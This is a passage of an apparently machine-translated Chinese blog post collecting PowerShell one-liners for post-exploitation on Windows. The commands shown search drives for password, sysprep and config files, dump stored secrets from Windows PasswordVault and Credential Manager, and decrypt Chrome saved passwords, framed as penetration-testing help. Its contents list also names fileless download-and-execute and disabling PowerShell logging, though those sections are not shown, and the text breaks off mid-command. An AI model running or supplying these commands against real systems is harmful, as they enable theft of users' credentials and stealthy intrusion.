powershell渗透-信息收集命令
powershell渗透-信息收集命令
本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助。
该列表包括各种开发后的单行在纯 PowerShell 不需要任何攻击 (= 可能标记为恶意) 第三方模块, 但也一堆方便的管理命令.
我们开始吧!
目录
隐藏
• 查找包含敏感信息的文件
o 查找可能感兴趣的文件
o 在 Sysprep 或未处理文件中查找凭据
o 查找包含”密码”字符串的配置文件
o 在配置文件中查找数据库凭据
o 查找 Web 服务器配置文件
• 提取凭据
o 从 Windows 密码 Vault 获取存储的密码
o 从 Windows 凭据管理器获取存储的密码
o 从谷歌浏览器转储密码
o 从无线配置文件获取存储的 Wi-Fi 密码
o 在注册表中搜索 SNMP 社区字符串
o 在注册表中搜索字符串模式
• 权限升级
o 搜索自动登录凭据的注册表
o 检查是否启用了”始终安装提升”
o 查找未引用的服务路径
o 检查 Lsass Wdigest 缓存
o SYSVOL 和组策略首选项 (GPP) 中的凭据
• 网络相关命令
o 从命令行设置 MAC 地址
o 允许远程桌面连接
o 使用大容量 DNS 反向查找的主机发现
o 端口扫描主机以寻找有趣的端口
o 端口扫描单个端口的网络(端口扫描)
o 创建来宾 SMB 共享驱动器
o 在 Windows 防火墙中白列出 IP 地址
• 其他有用的命令
o 无文件下载和执行
o 获取当前用户的 SID
o 检查我们运行是否具有提升(管理员)权限
o 禁用 PowerShell 命令日志记录
o 列出已安装的防病毒 (AV) 产品
• 结论
查找包含敏感信息的文件
在开发后阶段,以下 PowerShell 命令可以很方便地查找磁盘上可能包含凭据、配置详细信息和其他敏感信息的文件。
查找可能感兴趣的文件
通过此命令,我们可以根据文件名识别具有潜在敏感数据的文件,如帐户信息、凭据、配置文件等:
gci c:\ -Include pass.txt,pass.xml,pass.ini,pass.xlsx,cred,vnc,.config,accounts -File -Recurse -EA SilentlyContinue
虽然这会产生很多噪音,但也会产生一些非常有趣的结果。
建议对每个磁盘驱动器进行此操作,但您也可以在 c:\用户文件夹上运行它,以便获得一些快速获胜。
在 Sysprep 或未处理文件中查找凭据
此命令将查找自动安装和自动配置的残余,这些残余可能包含纯文本密码或 base64 编码密码:
gci c:\ -Include sysprep.inf,sysprep.xml,sysprep.txt,unattended.xml,unattend.xml,unattend.txt -File -Recurse -EA SilentlyContinue
这是众所周知的特权升级技术之一,因为密码通常是本地管理员密码。
建议对每个磁盘驱动器进行此设置。
查找包含”密码”字符串的配置文件
通过此命令,我们可以找到包含特定模式的文件,例如,这里正在寻找各种文本配置文件中的”密码”模式:
gci c:\ -Include .txt,.xml,.config,.conf,.cfg,.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern “password”
虽然这会产生很多噪音,但也会产生一些有趣的结果。
建议对每个磁盘驱动器进行此设置。
在配置文件中查找数据库凭据
使用以下 PowerShell 命令,我们可以在各种配置文件(如 Web.config)中查找存储在各种配置文件中的数据库连接字符串(具有纯文本凭据),ASP.NET在 Visual Studio 项目文件中等:
gci c:\ -Include .config,.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern “connectionString”
查找连接字符串,例如对于远程 Microsoft SQL Server,可能会导致远程命令执行 (RCE) 使用 xp_cmdshell 功能(链接、链接、链接等)以及随后的横向移动。
查找 Web 服务器配置文件
通过此命令,我们可以轻松地找到属于 Microsoft IIS、XAMPP、Apache、PHP 或 MySQL 安装的配置文件:
gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue
这些文件可能包含纯文本密码或其他有趣的信息,可以允许访问其他资源,如数据库,管理接口等。
提取凭据
以下 PowerShell 命令也属于开发后类别,它们可用于在访问 Windows 系统后提取凭据。
从 Windows 密码 Vault 获取存储的密码
使用以下 PowerShell 命令,我们可以从 Windows PasswordVault中提取机密,这是一种用于存储密码和 Web 凭据的 Windows 内置机制,例如用于 Internet 资源管理器、边缘和其他应用程序:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $.RetrievePassword();$ }
请注意,保管库通常存储在以下位置,并且只能在当前记录的用户的上下文中检索机密:
• C:\Users<USERNAME>\AppData\Local\Microsoft\Vault
• C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault
• C:\ProgramData\Microsoft\Vault
有关 Windows 密码 Vault 的更多信息,请参阅此处。
从 Windows 凭据管理器获取存储的密码
Windows 凭据管理器提供了另一种用于存储凭据以登录到网站、登录到远程系统和各种应用程序的机制,它还提供了在 PowerShell 脚本中使用凭据的安全方法。
使用以下单行,我们可以使用凭据管理器从凭据管理器检索所有存储的凭据:
Get-StoredCredential | % { write-host -NoNewLine $.username; write-host -NoNewLine “:” ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }
与PasswordVault类似,凭据存储在单个用户配置文件位置,只有当前记录的用户才能解密其:
• C:\Users<USERNAME>\AppData\Local\Microsoft\Credentials
• C:\Users<USERNAME>\AppData\Roaming\Microsoft\Credentials
• C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\
从谷歌浏览器转储密码
以下命令从 Google Chrome 浏览器(如果已安装)以及存储任何密码时提取存储的凭据:
[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
同样,这必须在目标(受害者)用户的上下文中执行。
从无线配置文件获取存储的 Wi-Fi 密码
通过此命令,我们可以从 Windows 系统中配置的无线配置文件中提取所有存储的 Wi-Fi 密码(WEP、WPA PSK、WPA2 PSK 等) :
(netsh wlan show profiles) | Select-String “